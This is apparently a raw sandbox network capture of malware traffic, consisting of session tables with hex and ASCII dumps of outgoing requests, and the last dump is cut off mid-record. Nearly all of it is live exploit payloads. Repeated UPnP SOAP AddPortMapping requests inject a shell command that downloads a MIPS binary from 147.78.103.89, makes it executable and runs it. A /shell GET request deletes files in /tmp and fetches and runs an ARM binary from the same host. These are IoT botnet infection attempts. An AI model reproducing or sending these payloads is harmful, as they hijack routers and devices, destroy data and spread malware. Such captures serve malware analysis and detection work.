                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      105192.168.2.154113645.133.75.16252869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:56.294485092 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:00.312999010 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:06.456837893 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:18.488519907 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:44.087723970 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      106192.168.2.1541270160.141.16.2145501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:56.959470987 CET273OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      107192.168.2.154114645.133.75.16252869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:57.478636026 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 